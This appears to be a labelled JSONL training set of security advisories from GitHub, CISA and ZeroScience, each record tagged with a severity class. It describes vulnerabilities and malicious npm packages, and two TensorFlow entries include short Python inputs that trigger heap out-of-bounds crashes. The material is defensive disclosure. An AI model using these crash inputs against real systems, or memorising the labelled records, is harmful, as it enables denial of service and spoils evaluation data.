-{"id": "3b67602af37b9cfed2d5", "text": "Improper Certificate Validation in urllib3\n\nThe urllib3 library before 1.24.2 for Python mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the `ssl_context`, `ca_certs`, or `ca_certs_dir` argument.", "text_raw": "Improper Certificate Validation in urllib3\n\n[Severity: HIGH]\n\nThe urllib3 library before 1.24.2 for Python mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the `ssl_context`, `ca_certs`, or `ca_certs_dir` argument.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-19", "split": "train"}
-{"id": "e52de1b53e52b0c4a106", "text": "Malicious Package in destroyer-of-worlds\n\nThe package `destroyer-of-worlds` contained malicious code. The package contained a bash script that was run as a postinstall script. The script deleted system files and attempted to exhaust resources by creating a large file, a fork bomb and an endless loop. The script targeted UNIX systems.\n\n## Recommendation\n\nRemove the package from your environment and perform additional incident response on your system's files and processes.", "text_raw": "Malicious Package in destroyer-of-worlds\n\n[Severity: CRITICAL]\n\nThe package `destroyer-of-worlds` contained malicious code. The package contained a bash script that was run as a postinstall script. The script deleted system files and attempted to exhaust resources by creating a large file, a fork bomb and an endless loop. The script targeted UNIX systems.\n\n\n## Recommendation\n\nRemove the package from your environment and perform additional incident response on your system's files and processes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "ce3b4d55930228666238", "text": "Rack vulnerable to Denial of Service via large parameter depth request\n\nlib/rack/utils.rb in Rack before 1.5.4 and 1.6.x before 1.6.2, as used with Ruby on Rails 3.x and 4.x and other products, allows remote attackers to cause a denial of service (SystemStackError) via a request with a large parameter depth.", "text_raw": "Rack vulnerable to Denial of Service via large parameter depth request\n\n[Severity: MEDIUM]\n\nlib/rack/utils.rb in Rack before 1.5.4 and 1.6.x before 1.6.2, as used with Ruby on Rails 3.x and 4.x and other products, allows remote attackers to cause a denial of service (SystemStackError) via a request with a large parameter depth.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c46529e996c0e88f1aea", "text": "Misuse of `Reference` and other transferable APIs may lead to access to nodejs isolate\n\nVersions of `isolated-vm` before v4.0.0, and especially before v3.0.0, have API pitfalls which may make it easy for implementers to expose supposed secure isolates to the permissions of the main nodejs isolate.\n\n`Reference` objects allow access to the underlying reference's full prototype chain. In an environment where the implementer has exposed a `Reference` instance to an attacker they would be able to use it to acquire a `Reference` to the nodejs context's `Function` object.\n\nSimilar application-specific attacks could be possible by modifying the local prototype of other API objects.\n\nAccess to `NativeModule` objects could allow an attacker to load and run native code from anywhere on the filesystem. If combined with, for example, a file upload API this would allow for arbitrary code execution.\n\nTo address these issues the following changes were made in v4.0.0:\n- Documentation was updated with more explicit guidelines on building secure applications.\n- `Reference` instances will no longer follow prototype chains by default, nor will they invoke accessors or proxies.\n- All `isolated-vm` API prototypes are now immutable.\n- `NativeModule` constructor may only be invoked from a nodejs isolate.", "text_raw": "Misuse of `Reference` and other transferable APIs may lead to access to nodejs isolate\n\n[Severity: HIGH]\n\nVersions of `isolated-vm` before v4.0.0, and especially before v3.0.0, have API pitfalls which may make it easy for implementers to expose supposed secure isolates to the permissions of the main nodejs isolate.\n\n`Reference` objects allow access to the underlying reference's full prototype chain. In an environment where the implementer has exposed a `Reference` instance to an attacker they would be able to use it to acquire a `Reference` to the nodejs context's `Function` object.\n\nSimilar application-specific attacks could be possible by modifying the local prototype of other API objects.\n\nAccess to `NativeModule` objects could allow an attacker to load and run native code from anywhere on the filesystem. If combined with, for example, a file upload API this would allow for arbitrary code execution.\n\nTo address these issues the following changes were made in v4.0.0:\n- Documentation was updated with more explicit guidelines on building secure applications.\n- `Reference` instances will no longer follow prototype chains by default, nor will they invoke accessors or proxies.\n- All `isolated-vm` API prototypes are now immutable.\n- `NativeModule` constructor may only be invoked from a nodejs isolate.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "91ba9dabba1272e9ebb9", "text": "Heap OOB in `SparseBinCount`\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/bincount_op.cc#L353-L417) of `SparseBinCount` is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseBincount(\n  indices=[[0],[1],[2]]\n  values=[0,-10000000]\n  dense_shape=[1,1]\n  size=[1]\n  weights=[3,2,1]\n  binary_output=False)\n```\n\nThis is because of missing validation between the elements of the `values` argument and the shape of the sparse output:\n\n```cc\nfor (int64_t i = 0; i < indices_mat.dimension(0); ++i) {\n  const int64_t batch = indices_mat(i, 0);\n  const Tidx bin = values(i);\n  ...\n  out(batch, bin) = ...;\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f410212e373eb2aec4c9e60bf3702eba99a38aba](https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `SparseBinCount`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/bincount_op.cc#L353-L417) of `SparseBinCount` is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n  \n  \ntf.raw_ops.SparseBincount(\n  indices=[[0],[1],[2]]\n  values=[0,-10000000]\n  dense_shape=[1,1]\n  size=[1]\n  weights=[3,2,1]\n  binary_output=False)\n```\n\nThis is because of missing validation between the elements of the `values` argument and the shape of the sparse output:\n\n\n```cc\nfor (int64_t i = 0; i < indices_mat.dimension(0); ++i) {\n  const int64_t batch = indices_mat(i, 0);\n  const Tidx bin = values(i);\n  ...\n  out(batch, bin) = ...;\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f410212e373eb2aec4c9e60bf3702eba99a38aba](https://github.com/tensorflow/tensorflow/commit/f410212e373eb2aec4c9e60bf3702eba99a38aba).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "44ce27d1bf5edc37a5c2", "text": "qEngine CMS 6.0.0 Database Backup Disclosure Exploit", "text_raw": "qEngine CMS 6.0.0 Database Backup Disclosure Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "f4f14d804fdf53935f76", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server improperly validates cmdlet arguments which allow an attacker to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server improperly validates cmdlet arguments which allow an attacker to perform remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "769f947ac1c1ddb259b1", "text": "Arbitrary File Overwrite in decompress-zip\n\nVulnerable versions of `decompress-zip` are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because `decompress-zip` does not verify that extracted files do not resolve to targets outside of the extraction root directory.\n\n## Recommendation\n\nFor `decompress-zip` 0.2.x upgrade to 0.2.2 or later.\nFor `decompress-zip` 0.3.x upgrade to 0.3.2 or later.", "text_raw": "Arbitrary File Overwrite in decompress-zip\n\n[Severity: HIGH]\n\nVulnerable versions of `decompress-zip` are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because `decompress-zip` does not verify that extracted files do not resolve to targets outside of the extraction root directory.\n\n\n\n## Recommendation\n\nFor `decompress-zip` 0.2.x upgrade to 0.2.2 or later.\nFor `decompress-zip` 0.3.x upgrade to 0.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "bb2ba715344d8bd36790", "text": "Vulnerable dependency in XTDB connector\n\n### Impact\n\nThe impacted portion of the XTDB connector is its connectivity to S3 as a backing store: this is the only portion of the connector that uses this vulnerable `httpclient` dependency. Per the description, the vulnerability regards URIs that may be misinterpreted, which given the area of impact within the connector we understand to be any URI used to configure connectivity to S3. Note therefore that if you do not use or configure S3 as a backing store in your use of the connector, you should not be exposed to any vulnerability from this component.\n\n### Patches\n\nThe problem has been addressed in version 4.5.13 of the httpclient library, which is included as a replacement dependency version for the build of the XTDB connector from release 3.5 onwards. Therefore, using release 3.5 (or newer) of the connector will include the fixes to address this CVE.\n\n### Workarounds\n\nWe have not investigated specific workarounds, but per the description of the issue it seems likely that ensuring the proper URIs are used for any S3 connectivity used by the connector (and ensuring there are appropriate controls around modifying such URIs in the connector's configuration) would be the first point of investigation.\n\n### References\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13956", "text_raw": "Vulnerable dependency in XTDB connector\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe impacted portion of the XTDB connector is its connectivity to S3 as a backing store: this is the only portion of the connector that uses this vulnerable `httpclient` dependency. Per the description, the vulnerability regards URIs that may be misinterpreted, which given the area of impact within the connector we understand to be any URI used to configure connectivity to S3. Note therefore that if you do not use or configure S3 as a backing store in your use of the connector, you should not be exposed to any vulnerability from this component.\n\n### Patches\n\nThe problem has been addressed in version 4.5.13 of the httpclient library, which is included as a replacement dependency version for the build of the XTDB connector from release 3.5 onwards. Therefore, using release 3.5 (or newer) of the connector will include the fixes to address this CVE.\n\n### Workarounds\n\nWe have not investigated specific workarounds, but per the description of the issue it seems likely that ensuring the proper URIs are used for any S3 connectivity used by the connector (and ensuring there are appropriate controls around modifying such URIs in the connector's configuration) would be the first point of investigation.\n\n### References\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13956", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "c023f86d445d2173d3f0", "text": "Malicious Package in buffer-por\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-por\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5bcba2075eda049c7455", "text": "Cross-site Scripting in pegasus/google-for-jobs\n\nAn XSS issue was discovered in the google_for_jobs (aka Google for Jobs) extension before 1.5.1 and 2.x before 2.1.1 for TYPO3. The extension fails to properly encode user input for output in HTML context. A TYPO3 backend user account is required to exploit the vulnerability.", "text_raw": "Cross-site Scripting in pegasus/google-for-jobs\n\n[Severity: MEDIUM]\n\nAn XSS issue was discovered in the google_for_jobs (aka Google for Jobs) extension before 1.5.1 and 2.x before 2.1.1 for TYPO3. The extension fails to properly encode user input for output in HTML context. A TYPO3 backend user account is required to exploit the vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "be89199f2e7a2bbef93e", "text": "Inappropriate implementation in V8\n\nCVE-2020-16009: Inappropriate implementation in V8\n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16009\n\nGoogle is aware of reports that exploits for CVE-2020-16009 exist in the wild.\n\nAllowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "text_raw": "Inappropriate implementation in V8\n\n[Severity: HIGH]\n\nCVE-2020-16009: Inappropriate implementation in V8\n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16009\n\nGoogle is aware of reports that exploits for CVE-2020-16009 exist in the wild.\n\nAllowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\nThere is currently little to no public information on the issue other than it has been flagged as `High` severity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-02", "split": "train"}
-{"id": "097be876106db5f8794d", "text": "Command Injection in fs-path\n\nAll versions of `fs-path` are vulnerable to command injection is unsanitized user input is passed in.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.", "text_raw": "Command Injection in fs-path\n\n[Severity: HIGH]\n\nAll versions of `fs-path` are vulnerable to command injection is unsanitized user input is passed in.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-12", "split": "train"}
-{"id": "0e6b1c43966a142a3c61", "text": "Prototype pollution in class-transformer\n\nclass-transformer through 0.2.3 is vulnerable to Prototype Pollution. The 'classToPlainFromExist' function could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "text_raw": "Prototype pollution in class-transformer\n\n[Severity: MEDIUM]\n\nclass-transformer through 0.2.3 is vulnerable to Prototype Pollution. The 'classToPlainFromExist' function could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-07", "split": "train"}
-{"id": "42a87f25c146a7ca0ca0", "text": "node-opencv is malware\n\nThe `node-opencv` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-opencv is malware\n\n[Severity: HIGH]\n\nThe `node-opencv` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "f21834626fe04482aca9", "text": "Improper Authentication in Auth0.AuthenticationApi\n\nAuth0 auth0.net before 6.5.4 has Incorrect Access Control because IdentityTokenValidator can be accidentally used to validate untrusted ID tokens.", "text_raw": "Improper Authentication in Auth0.AuthenticationApi\n\n[Severity: HIGH]\n\nAuth0 auth0.net before 6.5.4 has Incorrect Access Control because IdentityTokenValidator can be accidentally used to validate untrusted ID tokens.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-24", "split": "train"}
-{"id": "61d89d7b01c21463eb53", "text": "Authentication Bypass in express-laravel-passport\n\nAll versions of `express-laravel-passport` are vulnerable to an Authentication Bypass. The package fails to properly validate JWTs, allowing attackers to send HTTP requests impersonating other users.\n\n## Recommendation\n\nUpgrade to version 2.0.5 or later.", "text_raw": "Authentication Bypass in express-laravel-passport\n\n[Severity: CRITICAL]\n\nAll versions of `express-laravel-passport` are vulnerable to an Authentication Bypass. The package fails to properly validate JWTs, allowing attackers to send HTTP requests impersonating other users.\n\n\n## Recommendation\n\nUpgrade to version 2.0.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e33917db64732657730c", "text": "Drop of uninitialized memory in stack_dst\n\nAffected versions of stack_dst used a push_inner function that increased the internal length of the array and then called val.clone(). If the val.clone() call panics, the stack could drop an already dropped element or drop uninitialized memory. This issue was fixed in `2a4d538` by increasing the length of the array after elements are cloned.", "text_raw": "Drop of uninitialized memory in stack_dst\n\n[Severity: CRITICAL]\n\nAffected versions of stack_dst used a push_inner function that increased the internal length of the array and then called val.clone(). If the val.clone() call panics, the stack could drop an already dropped element or drop uninitialized memory. This issue was fixed in `2a4d538` by increasing the length of the array after elements are cloned.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "f11654e32e339652d709", "text": "Heap OOB in `RaggedGather`\n\n### Impact\nIf the arguments to `tf.raw_ops.RaggedGather` don't determine a valid ragged tensor code can trigger a read from outside of bounds of heap allocated buffers.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedGather(\n  params_nested_splits = [0,0,0],\n  params_dense_values = [1,1],\n  indices = [0,0,9,0,0],\n  OUTPUT_RAGGED_RANK=0)\n```\n\nIn debug mode, the same code triggers a `CHECK` failure.\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/ragged_gather_op.cc#L70) directly reads the first dimension of a tensor shape before checking that said tensor has rank of at least 1 (i.e., it is not a scalar). Furthermore, the implementation does not check that the list given by `params_nested_splits` is not an empty list of tensors.\n\n### Patches\nWe have patched the issue in GitHub commit [a2b743f6017d7b97af1fe49087ae15f0ac634373](https://github.com/tensorflow/tensorflow/commit/a2b743f6017d7b97af1fe49087ae15f0ac634373).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `RaggedGather`\n\n[Severity: MEDIUM]\n\n### Impact\nIf the arguments to `tf.raw_ops.RaggedGather` don't determine a valid ragged tensor code can trigger a read from outside of bounds of heap allocated buffers.\n                                                                                                                                                                                                                                                                                          \n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedGather(\n  params_nested_splits = [0,0,0],\n  params_dense_values = [1,1],\n  indices = [0,0,9,0,0],\n  OUTPUT_RAGGED_RANK=0)\n```\n\nIn debug mode, the same code triggers a `CHECK` failure.\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/ragged_gather_op.cc#L70) directly reads the first dimension of a tensor shape before checking that said tensor has rank of at least 1 (i.e., it is not a scalar). Furthermore, the implementation does not check that the list given by `params_nested_splits` is not an empty list of tensors.\n\n### Patches\nWe have patched the issue in GitHub commit [a2b743f6017d7b97af1fe49087ae15f0ac634373](https://github.com/tensorflow/tensorflow/commit/a2b743f6017d7b97af1fe49087ae15f0ac634373).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2fefb48d7807a3e553ea", "text": "Malicious Package in rqeuest\n\nAll versions of `rqeuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in rqeuest\n\n[Severity: CRITICAL]\n\nAll versions of `rqeuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "27c15eabb074b07dfcdd", "text": "XSS in python-markdown2\n\npython-markdown2 through 2.3.8 allows XSS because element names are mishandled unless a \\w+ match succeeds. For example, an attack might use elementname@ or elementname- with an onclick attribute.", "text_raw": "XSS in python-markdown2\n\n[Severity: MEDIUM]\n\npython-markdown2 through 2.3.8 allows XSS because element names are mishandled unless a \\w+ match succeeds. For example, an attack might use elementname@ or elementname- with an onclick attribute.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-22", "split": "train"}
-{"id": "7ab8871de0b1d4a0a04b", "text": "Apple Multiple Products WebKit Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, watchOS, and tvOS WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products WebKit Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, watchOS, and tvOS WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "767eb204ccd9b6acc2c3", "text": "R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities", "text_raw": "R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-11-11", "split": "train"}
-{"id": "13e0cce95497a1c955bf", "text": "Withdrawn, accidental duplicate publish.\n\nvisionmedia send before 0.8.4 for Node.js uses a partial comparison for verifying whether a directory is within the document root, which allows remote attackers to access restricted directories, as demonstrated using \"public-restricted\" under a \"public\" directory.", "text_raw": "Moderate severity vulnerability that affects send\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nvisionmedia send before 0.8.4 for Node.js uses a partial comparison for verifying whether a directory is within the document root, which allows remote attackers to access restricted directories, as demonstrated using \"public-restricted\" under a \"public\" directory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "68e0492565e1a152021d", "text": "Logic error in Legion of the Bouncy Castle BC Java\n\nAn issue was discovered in Legion of the Bouncy Castle BC Java 1.65 and 1.66. The OpenBSDBCrypt.checkPassword utility method compared incorrect data when checking the password, allowing incorrect passwords to indicate they were matching with previously hashed ones that were different.", "text_raw": "Logic error in Legion of the Bouncy Castle BC Java\n\n[Severity: HIGH]\n\nAn issue was discovered in Legion of the Bouncy Castle BC Java 1.65 and 1.66. The OpenBSDBCrypt.checkPassword utility method compared incorrect data when checking the password, allowing incorrect passwords to indicate they were matching with previously hashed ones that were different.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "4135d5b1b39d5fc4cc73", "text": "Integer overflow in github.com/gorilla/websocket\n\nAn integer overflow vulnerability exists with the length of websocket frames received via a websocket connection. An attacker would use this flaw to cause a denial of service attack on an HTTP Server allowing websocket connections.", "text_raw": "Integer overflow in github.com/gorilla/websocket\n\n[Severity: HIGH]\n\nAn integer overflow vulnerability exists with the length of websocket frames received via a websocket connection. An attacker would use this flaw to cause a denial of service attack on an HTTP Server allowing websocket connections.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "291cded3281bcad41571", "text": "Use of uninitialized buffer in rkyv\n\nAn issue was discovered in the rkyv crate before 0.6.0 for Rust. When an archive is created via serialization, the archive content may contain uninitialized values of certain parts of a struct.", "text_raw": "Use of uninitialized buffer in rkyv\n\n[Severity: HIGH]\n\nAn issue was discovered in the rkyv crate before 0.6.0 for Rust. When an archive is created via serialization, the archive content may contain uninitialized values of certain parts of a struct.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f0756130fb72c1d8f89e", "text": "Form validation can be skipped\n\n### Patches\nhttps://github.com/neos/form/commit/69de4219b1f58157e2be6b05811463875d75c246\n\n### Workarounds\nForm Finishers can be adjusted in a way that they only execute an action if the submitted form contains some expected data.\nAlternatively a custom Finisher can be added as first finisher.\n\n### References\nThis regression was introduced with https://github.com/neos/form/commit/049d415295be8d4a0478ccba97dba1bb81649567\nOriginal report: https://tickets.neos.io/#ticket/zoom/411 (internal)", "text_raw": "Form validation can be skipped\n\n[Severity: MEDIUM]\n\n### Impact\nBy crafting a special `GET` request containing a valid form state, a form can be submitted without invoking any validators.\nWe consider the severity _low_ because it is not possible to _change_ any form values since the form state is secured with an HMAC that is still verified.\nThat means that this issue can only be exploited if Form Finishers cause side effects even if no form values have been sent.\n\n### Patches\nhttps://github.com/neos/form/commit/69de4219b1f58157e2be6b05811463875d75c246\n\n### Workarounds\nForm Finishers can be adjusted in a way that they only execute an action if the submitted form contains some expected data.\nAlternatively a custom Finisher can be added as first finisher.\n\n### References\nThis regression was introduced with https://github.com/neos/form/commit/049d415295be8d4a0478ccba97dba1bb81649567\nOriginal report: https://tickets.neos.io/#ticket/zoom/411 (internal)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "aaf7b1f0e4001710bbf1", "text": "Arbitrary code execution in kill-by-port\n\nThis affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Arbitrary code execution in kill-by-port\n\n[Severity: MEDIUM]\n\nThis affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "2aafea341c9072883cee", "text": "Missing Authentication for Critical Function\n\nShopware is an open source eCommerce platform. Creation of order credits was not validated by ACL in admin orders. Users are recommend to update to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "text_raw": "Missing Authentication for Critical Function\n\n[Severity: MEDIUM]\n\nShopware is an open source eCommerce platform. Creation of order credits was not validated by ACL in admin orders. Users are recommend to update to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "8cd56ffb2f02b99aa6d0", "text": "Apple macOS Unspecified Vulnerability\n\nAffected: Apple macOS\n\nApple macOS contains an unspecified logic issue in System Preferences that may allow a malicious application to bypass Gatekeeper checks.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple macOS Unspecified Vulnerability\n\nAffected: Apple macOS\n\nApple macOS contains an unspecified logic issue in System Preferences that may allow a malicious application to bypass Gatekeeper checks.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
